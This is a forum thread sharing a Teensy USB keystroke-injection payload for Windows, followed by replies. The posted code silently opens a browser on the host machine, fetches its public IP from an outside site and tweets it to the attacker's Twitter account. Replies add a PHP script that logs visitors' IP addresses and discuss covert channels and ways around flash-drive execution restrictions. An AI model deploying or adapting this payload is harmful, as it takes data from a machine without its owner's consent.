Jump to content

[Version 1] [code][windows]post Ip To Twitter


Recommended Posts

// Post IP address to your Twitter
// Based on Seshan 30/04/10 11:48 PM Twitter script

int ledPin = 11;


void setup() {

  pinMode(ledPin, OUTPUT); // put this before other led commands or the LED will be dim

  ledstart();     // lights up when connected
  delay(3000);   // delay for computer
  ledstart();  // lights up when payload starts
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_key2(0);
  Keyboard.send_now();
  d(); // this is a 100ms delay, see below for commands.
  Keyboard.print("http://iann0036.com/ip.php"); // goes to internet
  d();
  enter(); 
  delay(6000); // delay for browser to load
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_A);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_C);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.set_key2(0);
  Keyboard.set_modifier(0);
  Keyboard.send_now();

  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_key2(0);
  Keyboard.send_now();
  d(); // this is a 100ms delay, see below for commands.
  Keyboard.print("http://twitter.com/login"); // goes to twitter
  d();
  enter(); 
  delay(9000); // delay for browser to load
  Keyboard.print("yourtwitterusername");
  Keyboard.send_now();
  d();
  Keyboard.set_key2(KEY_TAB);
  Keyboard.send_now();
  d();
  Keyboard.print("yourtwitterpassword");
  Keyboard.send_now();
  enter();
  delay(9000);
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.send_now();
  Keyboard.set_key1(KEY_V);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.send_now();
  d();
  Keyboard.set_key2(KEY_TAB);
  Keyboard.send_now();
  enter();
  Keyboard.set_key2(0);
  ledend();

  delay(9000);
}


void loop() {

}
// hits enter
void enter(){

  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();

}

// LED command for end of script.
void ledend(){

Keyboard.set_key1(0);
Keyboard.set_key2(0);
Keyboard.set_modifier(0);
Keyboard.send_now();

digitalWrite(ledPin, HIGH);
  delay (500);
  digitalWrite(ledPin, LOW);
  delay (500);
  digitalWrite(ledPin, HIGH);
  delay (500);
  digitalWrite(ledPin, LOW);
}
// LED command for start of script
void ledstart(){

  digitalWrite(ledPin, HIGH);
  delay (1000);
  digitalWrite(ledPin, LOW);
  }
  // delay 100ms
void d(){
  delay(100);
}

Made from borrowed code. Comments?

Link to comment
Share on other sites

I wasn't aware that you could copy to the clipboard from php. If I get time I'll modify the script and code.

I think what NanoyMaster is talking more along the lines of saving it to a file located on the server.

For example, the following ip.php would save the content to ips.txt

<?
$data = "IP: " . $_SERVER['REMOTE_ADDR'] . "\n";
$log_file = "ips.txt";
$f = fopen($log_file, 'a');
fwrite($f, $data);
fclose($f);
?>

Link to comment
Share on other sites

I think what NanoyMaster is talking more along the lines of saving it to a file located on the server.

For example, the following ip.php would save the content to ips.txt

<?
$data = "IP: " . $_SERVER['REMOTE_ADDR'] . "\n";
$log_file = "ips.txt";
$f = fopen($log_file, 'a');
fwrite($f, $data);
fclose($f);
?>

I see...yes this would work. The main problem that prevents the full potential of these projects is the fact we can't get feedback from the PC (other than maybe a Num Lock or so). How hard would it be to emulate a monitor and retrieve pixel colors?

Link to comment
Share on other sites

I see...yes this would work. The main problem that prevents the full potential of these projects is the fact we can't get feedback from the PC (other than maybe a Num Lock or so). How hard would it be to emulate a monitor and retrieve pixel colors?

Could we make the teensy look like something else along with a keyboard and mouse? If so we could try to find a USB device with universal drivers that gets info FROM the pc and emulated it.

Link to comment
Share on other sites

Could we make the teensy look like something else along with a keyboard and mouse? If so we could try to find a USB device with universal drivers that gets info FROM the pc and emulated it.

I don't really think it's the drivers, but rather than the current software and hardware limitations. I'm not saying it'd be impossible, but it wouldn't be a weekend project. I didn't see something on the forums about data, such as keystrokes being forwarded to the Teensy.

Link to comment
Share on other sites

Could we make the teensy look like something else along with a keyboard and mouse? If so we could try to find a USB device with universal drivers that gets info FROM the pc and emulated it.

Ever seen one of those usb ethernet adapters? How about a usb wifi adapter? Usb bluetooth adapter? All three receive packets from the computer. Some more interesting ideas would be pretend to be a pair of usb headphones...it'd be slower as you'd have to send the data back in blips, like morsecode. Give every character it's own frequency, then instead of checking the sound itself just have the teensy check the frequency of it and use that as input to it. It's a little round-a-bout and inefficient but an interesting thought. No offense but any of these are better than the monitor idea (simply because guessing at the computer default monitor setup would be guesswork at best and if it's set up as extended desktop you'd run into problems. And of course the easiest way for input would be, as other topics are discussing, emulate a flash drive (personally i'd emulate an external hdd, in most networks they're not locked down. My network for example does not allow applications to run from flash drives but external hdds get around that) and just save files to that and have teensy read those files. Just a couple of quick thoughts, hope they help. I'm about to head of to newegg and browse there usb devices and see if I can think of any other ways to get data back, though personally i'm in favor of the ethernet adapter :)

Link to comment
Share on other sites

Ever seen one of those usb ethernet adapters? How about a usb wifi adapter? Usb bluetooth adapter? All three receive packets from the computer. Some more interesting ideas would be pretend to be a pair of usb headphones...it'd be slower as you'd have to send the data back in blips, like morsecode. Give every character it's own frequency, then instead of checking the sound itself just have the teensy check the frequency of it and use that as input to it. It's a little round-a-bout and inefficient but an interesting thought. No offense but any of these are better than the monitor idea (simply because guessing at the computer default monitor setup would be guesswork at best and if it's set up as extended desktop you'd run into problems. And of course the easiest way for input would be, as other topics are discussing, emulate a flash drive (personally i'd emulate an external hdd, in most networks they're not locked down. My network for example does not allow applications to run from flash drives but external hdds get around that) and just save files to that and have teensy read those files. Just a couple of quick thoughts, hope they help. I'm about to head of to newegg and browse there usb devices and see if I can think of any other ways to get data back, though personally i'm in favor of the ethernet adapter :)

See the "Duck Cans" post on this forum. Is this essentially what you are after?

Also, is there a way to provide power to the teensy via something other than USB bus (to save it's temporary storage whilst a computer restarts)...something like the Fon power pack but smaller ;) ?

Link to comment
Share on other sites

See the "Duck Cans" post on this forum. Is this essentially what you are after?

That's an interesting idea but rather than send commands from another device to the the teensy i'm talking about sending data from the computer to the teensy, but you could apply his code and concept to it. As I was saying pretend to be usb headphones...receiving all the audio output from the computer. Then via ftp, external media or some other place run a program, maybe written in autoit but could be c++, or anything. This program would take an arguement in the cmd line of the data you want to send. example:

/Teensy_Media/audio_encode.exe -data "ipaddress_here" 

or whatever data you want to send to it. The program could use Azn's code to encode the data in audio signals and send it to the teensy, which could receive these signals by pretending to be the headphones or speakers. This would enable the teensy to act differently based on information of the computer giving the user much more control.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...